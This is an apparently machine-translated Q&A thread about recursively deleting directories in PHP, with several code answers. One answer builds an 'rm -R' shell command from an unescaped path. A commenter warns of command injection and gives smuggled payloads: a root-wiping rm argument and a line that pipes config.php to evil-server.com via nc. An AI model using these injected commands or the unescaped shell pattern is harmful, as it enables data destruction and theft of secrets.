2009-09-10 1 views
26

Я использую PHP для перемещения содержимого изображений подпапкиРекурсивная функция удаления каталога для PHP?

GalleryName/изображений/

в другую папку. После перемещения мне нужно удалить каталог GalleryName и все остальное внутри него.

Я знаю, что rmdir() не будет работать, если каталог не пуст. Я потратил некоторое время на создание рекурсивной функции до scandir(), начиная с вершины, а затем unlink(), если это файл и scandir(), если это каталог, а затем rmdir() каждый пустой каталог, когда я иду.

Пока это не работает правильно, и я начал думать - - это не смехотворно простая функция, которую должен делать PHP? Удаление каталога?

Так что-то мне не хватает? Или есть, по крайней мере, проверенная функция, которую люди используют для этого действия?

Любая помощь будет оценена по достоинству.

PS Я доверяю вам всем здесь больше, чем комментарии на сайте php.net - там есть сотни функций, но мне интересно услышать, если кто-либо из вас рекомендует его другим.

+3

считается Вы shell_exec функция() с 'гт -fr? Не лучший подход, но если вы сейчас делаете то, что вы делаете, он отлично работает. – rogeriopvl

ответ

14

Это рекурсивная функция, которую я создал/модифицировал и, наконец, кажется, работает. Надеюсь, в этом нет ничего слишком опасного.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
     if ($file == '.' || $file == '..') continue; 
     if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
      chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
      if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
     }; 
    } 
    return rmdir($dir); 
} 
+0

Эта функция опасна, вместо $ item должен быть $ file! – johndodo

0

Я приспособил функцию, которая обрабатывает скрытые файлы Unix с префиксом точек и использует Глоб:

public static function deleteDir($path) { 
    if (!is_dir($path)) { 
     throw new InvalidArgumentException("$path is not a directory"); 
    } 
    if (substr($path, strlen($path) - 1, 1) != '/') { 
     $path .= '/'; 
    } 
    $dotfiles = glob($path . '.*', GLOB_MARK); 
    $files = glob($path . '*', GLOB_MARK); 
    $files = array_merge($files, $dotfiles); 
    foreach ($files as $file) { 
     if (basename($file) == '.' || basename($file) == '..') { 
      continue; 
     } else if (is_dir($file)) { 
      self::deleteDir($file); 
     } else { 
      unlink($file); 
     } 
    } 
    rmdir($path); 
} 
83

насчет этого вопроса?

foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
     $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
} 
rmdir($dirPath); 
+12

+1 для кратчайшего кода и, вероятно, самое лучшее и быстрое решение: – tftd

+1

Приятный, не забудьте добавить rmdir ($ dirPath) afer foreach, в противном случае он удалит только файлы. – Ant

+0

@Cooluhuru Добавлен вызов rmdir(). Благодаря! – barbushin

2

Если сервер приложения работает Linux, просто используйте функцию shell_exec() и предоставить ему команду гт -R, например:

shell_exec("rm ".$dir_path." -R"); 

Объяснение:

Функция будет запускаться команда, вставленная непосредственно в linux. Это то же самое, что и команда в терминале linux.

Команда rm удалить файл или каталог, переданный в $dir_path и вариант -R говорит систему, чтобы запустить его рекурсивно.

+1

в зависимости от того, откуда приходит '$ dir_path', вы можете столкнуться с очень большой проблемой безопасности. Предположим, я как-то установил '$ dir_path =" -F --no-preserve-root/";' или, может быть, просто '$ dir_path ="; cat config/config.php | nc evil-server.com 80; ";' ну, возможности бесконечны. – amenthes

0

Я предпочитаю enhaced метод, полученный из справки PHP страницы http://php.net/manual/en/function.rmdir.php#115598

// check accidential empty, root or relative pathes 
if (!empty($path) && ...) 
{ 
    if (PHP_OS === 'Windows') 
    { 
    exec('rd /s /q "'.$path.'"'); 
    } 
    else 
    { 
     exec('rm -rf "'.$path.'"'); 
    } 
} 
else 
{ 
    error_log('path not valid:$path'.var_export($path, true)); 
} 

причины моего решения:

  • меньше кода
  • скорость
  • держать его просто

 Смежные вопросы

  • Нет связанных вопросов^_^